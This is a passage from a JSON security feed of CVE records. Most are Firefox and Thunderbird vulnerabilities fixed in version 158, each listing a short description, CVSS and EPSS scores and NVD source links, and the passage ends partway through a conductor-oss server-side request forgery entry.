exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109737","cveId":"CVE-2026-109737","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the Enterprise Policies component.","summary":"Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:24.270Z","updatedAt":"2026-10-19T12:16:59.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109737","asOf":"2026-10-19T12:16:59.307Z"},"epss":{"probability":0.0034,"percentile":0.27168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109737&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109737","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109737","type":"primary","publishedAt":"2026-10-13T13:17:24.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109737&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109737, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109736","cveId":"CVE-2026-109736","aliases":[],"kind":"vulnerability","title":"Frame poisoning in the Layout component.","summary":"Frame poisoning in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Frame poisoning in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:24.160Z","updatedAt":"2026-10-19T12:16:58.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109736","asOf":"2026-10-19T12:16:58.767Z"},"epss":{"probability":0.00324,"percentile":0.25168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109736","type":"primary","publishedAt":"2026-10-13T13:17:24.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109734","cveId":"CVE-2026-109734","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the DOM: Security component.","summary":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:23.947Z","updatedAt":"2026-10-19T12:16:58.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109734","asOf":"2026-10-19T12:16:58.227Z"},"epss":{"probability":0.0034,"percentile":0.27167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109734&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109734","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109734","type":"primary","publishedAt":"2026-10-13T13:17:23.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109734&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109734, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109733","cveId":"CVE-2026-109733","aliases":[],"kind":"vulnerability","title":"JIT miscompilation in the JavaScript Engine: JIT component.","summary":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:23.840Z","updatedAt":"2026-10-15T20:17:07.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109733","asOf":"2026-10-15T20:17:07.767Z"},"epss":{"probability":0.00462,"percentile":0.39817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109733&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109733","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109733","type":"primary","publishedAt":"2026-10-13T13:17:23.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109733&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109733, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109730","cveId":"CVE-2026-109730","aliases":[],"kind":"vulnerability","title":"Integer overflow in the Graphics component.","summary":"Integer overflow in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Integer overflow in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:23.527Z","updatedAt":"2026-10-15T20:17:07.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109730","asOf":"2026-10-15T20:17:07.620Z"},"epss":{"probability":0.00365,"percentile":0.30062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109730&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109730","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109730","type":"primary","publishedAt":"2026-10-13T13:17:23.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109730&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109730, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109722","cveId":"CVE-2026-109722","aliases":[],"kind":"vulnerability","title":"JIT miscompilation in the JavaScript Engine: JIT component.","summary":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:22.693Z","updatedAt":"2026-10-16T19:17:03.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109722","asOf":"2026-10-16T19:17:03.457Z"},"epss":{"probability":0.00314,"percentile":0.24077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109722","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109722","type":"primary","publishedAt":"2026-10-13T13:17:22.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109720","cveId":"CVE-2026-109720","aliases":[],"kind":"vulnerability","title":"JIT miscompilation in the JavaScript: WebAssembly component.","summary":"JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:22.487Z","updatedAt":"2026-10-19T12:16:56.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109720","asOf":"2026-10-19T12:16:56.330Z"},"epss":{"probability":0.00264,"percentile":0.18037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109720","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109720","type":"primary","publishedAt":"2026-10-13T13:17:22.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109720, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109716","cveId":"CVE-2026-109716","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the JavaScript Engine component.","summary":"Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:22.077Z","updatedAt":"2026-10-16T19:17:03.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109716","asOf":"2026-10-16T19:17:03.300Z"},"epss":{"probability":0.00314,"percentile":0.24077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109716","type":"primary","publishedAt":"2026-10-13T13:17:22.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109715","cveId":"CVE-2026-109715","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the JavaScript Engine component.","summary":"Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:21.657Z","updatedAt":"2026-10-16T19:17:03.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109715","asOf":"2026-10-16T19:17:03.150Z"},"epss":{"probability":0.00314,"percentile":0.24077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109715","type":"primary","publishedAt":"2026-10-13T13:17:21.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109712","cveId":"CVE-2026-109712","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to uninitialized memory in the Graphics component.","summary":"Sandbox escape due to uninitialized memory in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to uninitialized memory in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:21.330Z","updatedAt":"2026-10-16T19:17:02.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109712","asOf":"2026-10-16T19:17:02.980Z"},"epss":{"probability":0.00224,"percentile":0.12897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109712","type":"primary","publishedAt":"2026-10-13T13:17:21.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109709","cveId":"CVE-2026-109709","aliases":[],"kind":"vulnerability","title":"Information disclosure, privilege escalation in the Security: Process Sandboxing component.","summary":"Information disclosure, privilege escalation in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Information disclosure, privilege escalation in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:21.020Z","updatedAt":"2026-10-14T04:18:16.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109709","asOf":"2026-10-14T04:18:16.497Z"},"epss":{"probability":0.00326,"percentile":0.25415,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109709","type":"primary","publishedAt":"2026-10-13T13:17:21.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109704","cveId":"CVE-2026-109704","aliases":[],"kind":"vulnerability","title":"Privilege escalation in the Application Update component.","summary":"Privilege escalation in the Application Update component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Privilege escalation in the Application Update component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:20.473Z","updatedAt":"2026-10-14T16:17:37.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109704","asOf":"2026-10-14T16:17:37.183Z"},"epss":{"probability":0.00409,"percentile":0.34855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109704","type":"primary","publishedAt":"2026-10-13T13:17:20.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109405","cveId":"CVE-2026-109405","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file...","summary":"A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java. The manipulation of the argument kafka_request.bootStrapServers results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in conductor-oss conductor up to 3.33.0-rc10. This affects the function KafkaPublishTask.start of the file kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java. The manipulation of the argument kafka_request.bootStrapServers results in server-side request forgery. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not 